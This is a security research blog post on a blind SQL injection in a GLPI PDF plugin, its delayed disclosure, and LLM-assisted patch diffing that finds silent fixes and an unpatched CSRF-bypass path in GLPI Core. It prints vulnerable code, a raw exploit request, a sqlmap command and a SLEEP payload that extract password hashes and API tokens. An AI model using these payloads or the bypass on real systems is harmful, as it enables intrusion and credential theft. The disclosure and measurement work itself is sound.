Source-Driven Recon: When the Patch Becomes the PoC and what CVE-2026-61797 taught us about Disclosure OPSEC

A dimly lit workspace displaying multiple computer screens with coding scripts and a calendar, accompanied by various papers labeled 'Security Advisory' and 'CVE-XXXX-XXXX'.

By Javier Medina ( X / LinkedIn / Web)

TL;DR

In Part I, we mapped a hardened GLPI SaaS instance to real endpoints and quickly found a low-privileged, time-based blind SQLi in the official PDF plugin. We reported it, and GLPI released a fixed version within four days.

That was the easy part. What followed was a messy disclosure with generic bulletins, mismatched metadata, a misattributed CVE, missed deadlines, and a final advisory 47 days later that still contradicted itself on authentication requirements.

And since we’re curious, we decided to ask ourselves a very simple question. Had we just been unlucky, or was there really something here worth investigating?

Using public Git history and LLM-assisted triage, we moved from that published CVE to a series of security-relevant changes across the GLPI ecosystem. We found an undisclosed cross-entity issue in the MReporting plugin, a silent SSRF/IDOR fix in the PDF plugin, and finally a GLPI Core security fix already visible in Git while the affected stable release remained publicly available.

The interesting part was no longer the original CVE-2026-61797. It was the economics. Patch diffing is not new, but doing it continuously across an ecosystem has become cheap enough to automate at scale. In our case, roughly one million tokens and about seven dollars were enough to turn a disclosure trail into a source-driven recon workflow.

If the patch, test, commit or changelog is public before the advisory or release is ready, you should assume someone (or something) is already reading it.

This is what disclosure OPSEC looks like in the age of LLMs.

0# CVE-2026-61797: The exploit is the least interesting part

Part I ended with six active plugins identified from observable behaviour and public source code. One of them was pluginsGLPI/pdf, where version 4.1.2 exposed URL paths in front/preference.form.php that built SQL queries directly from user input.

GLPI PDF Plugin 4.1.2 /front/preference.form.php
PHP
<?php
//[..]
include_once(__DIR__ . '/../../../inc/includes.php');
Session::checkLoginUser();
/** @var DBmysql $DB */
global $DB;
//Save user preferences
if (isset($_POST['plugin_pdf_user_preferences_save'])
&& isset($_POST['plugin_pdf_inventory_type'])) {
$DB->doQuery("DELETE
FROM `glpi_plugin_pdf_preferences`
WHERE `users_id` ='" . $_SESSION['glpiID'] . "'
AND `itemtype`='" . $_POST['plugin_pdf_inventory_type'] . "'");
if (isset($_POST['item'])) {
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id` ,`users_id` ,`itemtype` ,`tabref`)
VALUES (NULL , '" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "', '$key')");
}
}
if (isset($_POST['page']) && $_POST['page']) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id` ,`users_id` ,`itemtype` ,`tabref`)
VALUES (NULL , '" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "', 'landscape')");
}
Html::back();
} else {
Html::redirect('../../../front/preference.php');
}

So, in the client environment, running PDF 4.1.2, the latest version at that time, any authenticated GLPI user could turn that into a time-based blind SQL Injection and retrieve data from the database.

GLPI PDF Plugin v4.1.2 Exploit
Shell
$ cat glpi.sqli
POST https://glpi.[RESTRICTED].com/marketplace/pdf/front/preference.form.php HTTP/1.1
host: glpi.[RESTRICTED].com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
content-length: 197
Origin: https://glpi.[RESTRICTED].com
Connection: keep-alive
Referer: https://glpi.[RESTRICTED].com/front/preference.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
&plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=f82411c71dcaa76d382375400afd90ba13ac8ee0b44dab55d1ca58dd593deacf
$ sqlmap -r glpi.sqli --csrf-url 'https://[RESTRICTED]/front/preference.php' --csrf-token="_glpi_csrf_token" --cookie "glpi_8[RESTRICTED]5D" --technique=T --level=5 --risk=3 --sql-shell
[..]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: &plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0'||(SELECT 0x70767455 WHERE 4030=4030 AND (SELECT 1397 FROM (SELECT(SLEEP(5)))mjSf))||']=1&_glpi_csrf_token=f82411c71dcaa76d382375400afd90ba13ac8ee0b44dab55d1ca58dd593deacf
---
[11:03:00] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
[11:03:00] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> SELECT name,password,api_token from glpi_users WHERE is_active!=0 AND password!="";
[11:04:00] [INFO] fetching SQL SELECT statement query output: 'SELECT name,password,api_token from glpi_users WHERE is_active!=0 AND password!=""'
[11:04:00] [INFO] the SQL query provided has more than one field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind
[..]
>
[11:04:56] [INFO] retrieved: glpi
[11:05:50] [INFO] retrieved: $2y$10$/9ZlaCb[...]

Also, while reviewing older tags, we found another detail. Version 4.0.1 did not appear to call Session::checkLoginUser() before reaching the same point, while the explicit login check existed in 4.0.2.

GLPI PDF Plugin 4.0.1 /front/preference.form.php
PHP
<?php
//[..]
include_once('../../../inc/includes.php');
//Save user preferences
if (isset($_POST['plugin_pdf_user_preferences_save'])
&& isset($_POST['plugin_pdf_inventory_type'])) {
$DB->query("DELETE
FROM `glpi_plugin_pdf_preferences`
WHERE `users_id` ='" . $_SESSION['glpiID'] . "'
AND `itemtype`='" . $_POST['plugin_pdf_inventory_type'] . "'");
if (isset($_POST['item'])) {
foreach ($_POST['item'] as $key => $val) {
$DB->query("INSERT INTO `glpi_plugin_pdf_preferences`
(`id` ,`users_id` ,`itemtype` ,`tabref`)
VALUES (NULL , '" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "', '$key')");
}
}
if (isset($_POST['page']) && $_POST['page']) {
$DB->query("INSERT INTO `glpi_plugin_pdf_preferences`
(`id` ,`users_id` ,`itemtype` ,`tabref`)
VALUES (NULL , '" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "', 'landscape')");
}
Html::back();
} else {
Html::redirect('../../../front/preference.php');

We sent the report on June 20. PDF 4.1.3 was released on June 24 with the raw SQL replaced by ORM methods and additional authorization logic, and GLPI confirmed that managed Cloud instances had been updated.

Four days from report to fix is a good technical response. No one can say otherwise.

At that point there seemed to be very little left to do. One SQL Injection for the report, a happy client and a slightly better open-source product.

Then disclosure started.

1# One Advisory, Two CVEs and 47 Days

The technical fix was undeniably quick. The public disclosure was another matter entirely and, viewed through an attacker’s eyes, a surprisingly informative one.

Version 4.1.3 of the PDF plugin made no mention of security or SQL injection in its changelog. Five days later, unexpectedly and without telling us, GLPI published a multi-plugin security bulletin listing, in an image, the PDF plugin with a SQL injection.

Table displaying various plugins along with their type of vulnerability, CVSS score, gravity level, and compatibility with GLPI 10 and GLPI 11.
GLPI Plugins to Update

At this point, to our surprise, the issue was public enough to name the plugin, vulnerability class, and severity, yet the specific advisory remained under embargo. A few days later, GLPI clarified the timeline by email. The issue had been rated High, the disclosure window was 30 days post-fix, and the dedicated advisory would drop on July 24. They also noted that GitHub’s CNA had assigned CVE-2026-11321. But CVE-2026-11321 belonged to DataInjection and is managed by VulnCheck. Mistakes happen… So, we asked for clarification and kept waiting.

July 24 arrived. The advisory did not. On July 27, we followed up. Finally, on August 10, GLPI replied that the advisory was live, explaining that it had been “inadvertently missed during the publication process”. Our luck with this disclosure process was becoming statistically interesting.

The PDF vulnerability finally had its definitive identifier: CVE-2026-61797. Yippee-ki-yay!

Timeline detailing the handling of a SQL injection vulnerability, including report dates, patches, and advisory updates.

Does a 47-day delay for a trivial SQL injection matter? On its own, no. But while vendors spend seven weeks stuck in ideas from 25 years ago, threat actors aren’t waiting for a pretty CVE bulletin. They diff the commits on day one. A silent patch or a poorly handled disclosure doesn’t protect anyone; it simply gives adversaries an advantage while users wait in the dark.

So, as Pedro Gabaldón used to say: a moving man will surely meet his luck. APTs are always in motion.

We got in motion too. Well… maybe we just told something to start moving.

We launched GPT-5.6 Sol at High reasoning (with Daybreak access) as an ecosystem-scale triage layer. The model handled the heavy lifting of reading Git at scale; we handled the human validation of what the code actually meant.

Patch diffing isn’t new. What has changed is that the cost of doing it across an entire ecosystem simultaneously has effectively dropped to near zero.

2# From a Coincidence to a Pattern?

The June security bulletin gave us a convenient sample. GLPI published its vulnerability matrix as an image (a curious choice for machine-readable security metadata in 2026) listing fixes for RCEs, SQL injections, XSS and broken access controls.

Comparing that bulletin against the underlying Git commits revealed that our experience with the PDF plugin was a recurring OPSEC pattern.

Credit Plugin 1.15.5: Missing CVE or GHSA

The bulletin described Credit as affected by an access-control malfunction. Five days earlier, version 1.15.5 described its patch as “improved credit voucher workflow consistency“, while the actual commit added missing authorization checks (checkRight).

Credit Plugin 1.15.5 Patch – front/ticket.form.php
PHP
Session::checkRight("ticket", UPDATE);
Session::checkRightsOr(
PluginCreditTicketConfig::$rightname,
[READ, UPDATE]
);

More importantly, no CVE or dedicated GHSA advisory was published. Beyond a single row inside an image in a generic bulletin, the git commit is the only public record that this vulnerability ever existed.

Oauthimap Plugin 1.5.2: Metadata desync

The advisory for CVE-2026-61796 lists version 1.5.2 as the fix for a stored XSS.

Security advisory for OAuth Authorization Email Rendering in GLPI Oauthimap Plugin, highlighting a high severity stored XSS vulnerability.
GHSA-8cmh-mcmg-vmm4

In reality, 1.5.2 still printed unescaped raw email strings. The actual fix (htmlspecialchars) dropped 31 minutes later in version 1.5.3.

DataInjection Plugin: Silent Fixes

DataInjection 2.15.7 swapped concatenated SQL strings for structured DBAL on May 29 with the descriptive commitfix/ escape SQL values“.

DataInjection 2.15.7 Patch – ‎inc/commoninjectionlib.class.php
Plain text
$where[$field] =
$this->getValueByItemtypeAndName(
$itemtype,
$field
);
$result = $DB->request([
'FROM' => $injectionClass->getTable(),
'WHERE' => $where,
]);

The patch was public for 42 days before the CVE and 56 days before GLPI’s own repository advisory.

Was there any reason to keep going?

By this point, the pattern was clear. The disclosure of vulnerabilities across the GLPI plugin ecosystem seems to be characterized by euphemistic change logs, erroneous version metadata, silent patches deployed weeks before the advisories and tracking inconsistencies.

We could have left it at that. But think about it objectively.

First. Would you have stopped there?

Second, and more importantly.

Would an active threat actor, using the same LLM-enhanced Git triage process, have stopped there?

3# Git Knows What You Did Last Summer

In September, the end of summer had us feeling a little down, and we needed a dopamine boost, so we decided to change the question we were asking. Basically, we did exactly what someone with malicious intent would have done.

A hand holding a piece of paper with the words 'GIT KNOWS...' written in bold letters.

Instead of identifying what had fixed a security bulletin, we analyzed the latest commits and looked for security fixes that hadn’t been made public. And, of course, we extended it to the GLPI core.

At this point, it’s worth stripping away the hype so no one gets the wrong idea. It’s important to note that this isn’t a deterministic pipeline or an exhaustive audit. We simply fed public Git history into GPT-5.6 Sol at High reasoning, with Daybreak access, inside our Codex workspace, letting it flag promising leads across diffs, PRs, and tests before we manually reviewed the results.

The entire screening process consumed roughly one million tokens, about $7 in API costs, with zero claim to completeness. We didn’t spend weeks exhaustively diffing the entire ecosystem. We spent seven dollars and a few hours letting a model explore public repositories.

These are the most interesting things we found.

Mreporting Plugin 1.10.2: The Disappearing Features

On September 1, Mreporting merged commit 9df731f, titled harden report data handling and prevent cross-entity exposure. The same patch removed the complete PluginMreportingOther report implementation. 272 lines deleted. Its changelog states “Remove the logs activity report to prevent cross-entity data display” and the upgrade migration records the reason directly.

MreportingPlugin1.10.2Patch-hook.php
Plain text
// Remove the logs activity report
// (instance-wide counts, no entity restriction)

The removed report queried glpi_logs globally to calculate activity counts, without adding an entity constraint. Rather than adding that missing boundary, version 1.10.2, released minutes later, removes the report from configuration, profiles and dashboards.

As of this writing, the repository’s Security page lists only the February SQL Injection advisory. We could not locate a vulnerability-specific GHSA or CVE for this September change.

PDF Plugin 4.1.5: From “Some Fix” to SSRF/IDOR

Sometimes the universe has a sense of humor, and here PDF Plugin proves it once again.

On September 1, the PDF plugin merged PR #87, titled “Fix(Core): Some fix”. The same code was released minutes later as 4.1.5. The PR description says it fixes embedded document images and rich text HTML re-activated after sanitization.

The diff contains two relevant changes. First, content is sanitized again immediately after HTML entity decoding because, as the patch itself explains, decoding can turn previously inert escaped markup back into live HTML.

diff
Plain text
$content = html_entity_decode($content, ENT_QUOTES, 'UTF-8');
+$content = RichText::getSafeHtml($content);

Second, documents referenced by docid were previously embedded after getFromDB() without checking whether the current user was allowed to view the file. 4.1.5 adds that authorization check.

diff
Plain text
if (
$document->getFromDB($docid)
+ && $document->canViewFile()
&& isset($document->fields['filepath'])
) {

Three days later, PR #89 backported the parts of #87 applicable to the GLPI 10 branch. Its description explicitly says that “the displayText() SSRF/IDOR fix […] from #87” does not apply there because that branch never received the embedded-document-image feature.

As of September 11, we could not locate a vulnerability-specific GHSA or CVE for this change. We have not independently reproduced the pre-fix SSRF or IDOR.

4# I know what you’ll do tomorrow

There is a crucial difference between this case and the plugin findings. For Mreporting and PDF, the patched versions had already been tagged when we read the code. We were reading yesterday’s fixes.

GLPI Core was different.

As of this writing, 10.0.26 is still the latest released version in the GLPI 10 branch. The public 10.0/bugfixes branch, however, is already preparing its successor. Its changelog says [10.0.27] unreleased, and Git shows the branch twenty-four commits ahead of 10.0.26.

One of those changes comes from PR #24698, innocuously titled: Backport GLPI 11 fix into GLPI 10. Its security relevance only becomes obvious when looking at how GLPI 10.0.26 performs CSRF validation.

Every POST is checked unless GLPI believes the request belongs to the API.

inc/includes.php
PHP
if (
GLPI_USE_CSRF_CHECK
&& !isAPI()
&& count($_POST) > 0
) {
Session::checkCSRF($_POST);

That code is present in inc/includes.php from GLPI 10.0.26. In other words, isAPI() is part of the CSRF security controls. If a normal web POST is incorrectly classified as API traffic, the CSRF check is skipped.

Now look at the isAPI() implementation. It constructed a URL using $_SERVER['REQUEST_URI'] and used substring matching to decide whether the request looked like an API call:

10.0.26/inc/autoload.function.php
PHP
$called_url = ...
. ($_SERVER['REQUEST_URI'] ?? "");
if (!empty($base_api_url)
&& strpos($called_url, $base_api_url) !== false) {
return true;
}

The unreleased 10.0.27 branch removes that decision entirely. PR #24698 explicitly warns that REQUEST_URI is raw client-controlled data and even gives problematic examples such as /front/central.php/apirest.php. API detection is instead reduced to the server-selected script.

PR #24698 /inc/autoload.function.php
PHP
return in_array(
basename($_SERVER['SCRIPT_NAME'] ?? ''),
['apirest.php', 'apixmlrpc.php'],
true
);

And then comes the part that makes the diff difficult to misinterpret. The same unreleased patch adds a functional regression test. It authenticates a user and sends a POST, without a CSRF token, to /front/central.php/apirest.php/ and the expected result is now a 403.

5# Things We Should Do Now and Probably Won’t Do in Time

This deserves another post, but we neither have the time nor, frankly, the desire to start a dialectical battle with some of the largest OSS communities on the Internet.

We’re not scientists, and I wouldn’t pretend that we’re researchers in the strict academic sense. However, this article seemed to need something more than “LOL! Look at these guys… they’re so crazy! Check out how they used ChatGPT to drag the GLPI folks through the mud” (even though nobody gives a damn about GLPI).

So we looked beyond GLPI and analysed 25 critical server-side open-source projects against the specific situation described in this article:

Does security-relevant source become public before users have a patched release and before they even know what the patch means?

The results are not particularly reassuring.

Critical Server-Side OSS 25 — Observed Silent Source Gap

ProjectSecurity event measuredFirst public technical signalDefender parityObserved SSGConf.
PHPCVE-2026-12184 · remote TLS DoS24 Jan — public PR #21031 gives root cause, ASAN crash and reproducer7 May — 8.4.21 / 8.5.6 security releases~102 dH
PostgreSQLCVE-2026-14671 · refint type confusion / code execution14 May — public patch explains incorrect prepared-plan reuse and contains regression test13 Aug — CVE + fixed releases; PostgreSQL explicitly acknowledges that the fix had emerged as a non-security bug~91 dH
Apache KafkaCVE-2026-35554 · producer corruption / cross-topic misrouting3 Dec 2025 — PR #21065 publicly explains buffer reuse while in-flight and how messages can reach another topic17 Feb — Kafka 4.2.0 released~76 dH
Kubernetes — CSI SMB*CVE-2026-3865 · path traversal10 Feb — public validate mount path PR + tests12 Mar — v1.20.1 released with the fix~30 dH
systemdGHSA-jm29-p7hh-vjhv · homed privilege escalation16 Jul — public commit adds missing identity-signature verification + abuse test10 Aug — advisory + patched versions~25 dM
curlCVE-2026-11856 · cross-origin Digest state leakage10 Jun — public fix + regression test24 Jun — 8.21.0 + advisory~14 dH
Apache HTTP Server†CVE-2026-49975 · mod_http2 DoS27 May — security fix publicly visible in upstream mod_h28 Jun — HTTPD 2.4.68 released12 dH
Redisblocked-client UAF · #155945 Aug — PR literally says “Fix use-after-free…”, explains freed iterator node and provides triggering test17 Aug — 8.6.6 security release explicitly lists #15594~12 dH
Apache TomcatAug-2026 Tomcat 11 security batch11 Aug — security-relevant fixes + regression tests in public source18 Aug — 11.0.25 fixed release; vulnerabilities disclosed 25 Aug~7 dH
Apache CassandraCVE-2026-27314 · ADD IDENTITY privilege escalation16 Mar — public commit changes authorization and adds explicit superuser-abuse tests23 Mar — Cassandra 5.0.7 released; public CVE followed 7 Apr~6 dM
HAProxyCVE-2026-55204 · remote HPACK crash16 Jun — public commit explains NULL dereference, exact allocation failure and SIGSEGV path18 Jun — CVE published with mechanism described~2 dH
Linux kernelCVE-2026-46333 · ptrace local-root14 May — upstream patch committed publicly~15 May — independent exploit derived from public commit forces discussion public~1 dH
CPythonCVE-2026-2297 · SourcelessFileLoader audit bypass4 Mar 18:59 UTC — public PR named Fixes CVE-2026-22974 Mar ~22:42 — public security announcement links the PR~4 hM
RailsCVE-2026-66066 · unsafe libvips loaders29 Jul 14:34 UTC — public commit names GHSA/CVE and describes untrusted-content path29 Jul 14:59 UTC — Rails 8.1.3.1 release~25 minH
nginxCVE-2026-42533 / 60005 / 56434No earlier technical source signal demonstrated15 Jul — nginx 1.30.4/1.31.3 and vulnerability details released together0 d observedM
Traefikv3.7.11 security batchNo earlier technical source signal demonstrated19 Aug — v3.7.11 released with security-relevant mitigations0 d observedM
OpenSSHOpenSSH 10.5 security batchNo earlier technical source signal demonstrated11 Aug — binaries/source + detailed Security section released together0 d observedM
Node.jsJul-2026 HTTP/2 security batchFixes not observed publicly beforehand29 Jul — security releases and technical descriptions available together0 d observedH
OpenJDKJul-2026 JDK CPUNo earlier qualifying technical source signal demonstrated21 Jul — JDK 21.0.12 security update/CPU0 d observedM
MySQLJul-2026 CPU · MySQL ServerNo earlier qualifying technical source signal demonstrated21 Jul — Oracle CPU publicly identifies affected MySQL versions/CVEs0 d observedM
RabbitMQAug-2026 security batchNo earlier qualifying source signal demonstratedFixed 4.3.5/4.2.10 available; advisories 18 Aug enumerate affected/fixed versions0 d observedM
OpenSSL25-Aug security batchFixes not observed publicly beforehand25 Aug — patched releases + advisory + fix references together0 d observedH
KeycloakGHSA-95cx-vmr5-3cmr · DCR role forgeryNo earlier qualifying source signal demonstrated6 Aug — advisory names mechanism and already-patched 26.4.14/26.6.5/26.7.10 d observedM
GoApr-2026 security batch30 Mar pre-announcement explicitly says fixes remain PRIVATE7 Apr — Go 1.26.2/1.25.9 security releases0 dH
DjangoCVE-2026-15307 et al.No public fix observed before disclosure4 Aug — vulnerabilities, patches and releases 6.0.8/5.2.17 published together0 d observedH

* Kubernetes: this case is kubernetes-csi/csi-driver-smb, not kubernetes/kubernetes core.

Apache HTTP Server: the 12-day gap was not created entirely by HTTPD’s own disclosure process. The fix became public first in its upstream mod_h2 dependency. This makes the case particularly relevant: a downstream embargo is only as private as the upstream components it depends on.

SSG = first public technical signal → min(useful disclosure, installable patched release). A project can therefore have SSG = 0 even if the patch ships days later, provided that the vulnerability has already been usefully explained in public. The metric is intended to capture silent information asymmetry, not simple time-to-patch.

Confidence: H = high confidence in the reconstructed timeline. M = medium confidence, usually because the starting date depends on a commit timestamp or because no earlier qualifying public artifact could be demonstrated.

A Few Words About the Methodology

To define the cohort (which, we admit, is small), we started with the OpenSSF/CISA set of critical OSS projects and pre-selected 25 server-side projects across four infrastructure layers, before looking at their disclosure results.

After that, we defined a metric we call the Silent Source Gap (SSG). SSG starts at the first public technical signal (a commit, pull request, regression test or other source artifact) that meaningfully reveals the vulnerability or its fix. It ends at whichever comes first: a useful public disclosure or an installable patched release.

We are not measuring time-to-patch. If a project publicly explains the vulnerability today and ships the fixed release next week, its SSG is zero. The release may still be vulnerable, but the information asymmetry is gone. Defenders know what is happening and can make their own decisions. So, what we are measuring is the period in which capable attackers can know, but ordinary users have not yet been told.

Finally, for each project, we selected the most recent security event from the project itself for which we could reconstruct a meaningful public timeline. We did not select the vulnerability with the largest SSG, the highest severity, or the case that made the project look worst.

This is, of course, a methodological choice. There are other reasonable ways to measure disclosure windows, and a different question would probably require a different metric. We are not claiming that SSG is the only way, or even the canonical way, to measure this problem. It is simply the one that captures the specific asymmetry we wanted to examine.

A Few Words About the Results

We observed a positive SSG in 14 of the 25 projects: 56% of the cohort. This does not mean that 56% of their security fixes leak early. We reconstructed one event per project, not the historical disclosure rate of each project.

Among those 14 positive cases, the median gap was 12 days. And then there are the outliers. PHP exposed enough technical detail roughly 102 days before defender parity. PostgreSQL was around 91 days. Kafka, about 76 days. But let’s not talk about outliers.

A twelve-day median means that, in the positive cases we observed, the relevant technical information was public for nearly two weeks before defender parity. In the extreme cases, that window stretched into months. Some cases included root-cause explanations, regression tests, exact crash paths or commits explicit enough to reconstruct the vulnerability.

PostgreSQL is particularly difficult to dismiss as over-interpretation. Its own advisory acknowledges that the fix had first appeared publicly as a non-security bug. Linux shows the other side of the same problem. There, the risk stopped being theoretical when an independent researcher actually derived an exploit from the public patch.

Rails, meanwhile, gives us a useful control: around 25 minutes. Technically, that is still SSG > 0. Operationally, it is almost synchronized. We’re not saying that every commit published before an advisory is a disaster. Minutes are not days… and days are not three months.

What becomes difficult to justify is the combination of public security-relevant code, a vulnerable stable release and no useful disclosure for a meaningful period of time. If projects keep doing this, eventually someone with less white-hat intentions than ours will industrialise the process in the worst possible sense.

6# The End of the Party and Some Final Thoughts

In June, we found a vulnerability and waited for its CVE. In September, we found security patches before their official advisories. Later, with GLPI Core, we took it one step further.

The current stable release still contains the legacy code, while Git already holds the corrective commit and the regression tests meant for its unreleased successor.

Calling this a confirmed zero-day against GLPI 10.0.26 would stretch the evidence. We haven’t built a working exploit, but we don’t need to. The situation is simpler. The affected behavior is public, the fix is public, the regression test is public… and the patched release is not.

At this point, it’s important to note what we actually had: a public Git repository, seven dollars, a Friday afternoon and 25 years of cybersecurity experience, without which this likely would not have happened. None of those ingredients, except the LLM-assisted triage, were new to us. What changed was the amount of time and attention required to turn them into something useful.

Work that would previously have demanded days or weeks of manual review was compressed, in this particular case, into a few hours. Seven dollars, an experienced professional and an afternoon were enough to move from a published CVE to silent fixes in the plugins and, ultimately, to a potential zero-day window in GLPI Core: the security fix was public while the affected behaviour was still present in the latest stable release.

We didn’t pull this off because we are exceptionally clever, but because the economics of vulnerability research have fundamentally shifted. For years, software vendors treated the window between writing a patch, tagging a release, and publishing an advisory as harmless administrative downtime: a few weeks for marketing to draft a bulletin, someone to request a CVE or an engineer to return from holiday.

But now, source code has an audience that never sleeps, never gets bored, and can parse ten thousand commits to find the three that look security-relevant.

This write-up doesn’t end with a zero-day exploit, but with something much more disturbing. The party isn’t over because someone turned off the music; it’s over because LLMs turned on the lights. And under those lights, some traditional vulnerability management procedures are obsolete. Security disclosure now has to assume that every public patch, commit, test and changelog is being continuously analysed by machine-speed adversaries.

We’ll talk about binary diffing another day.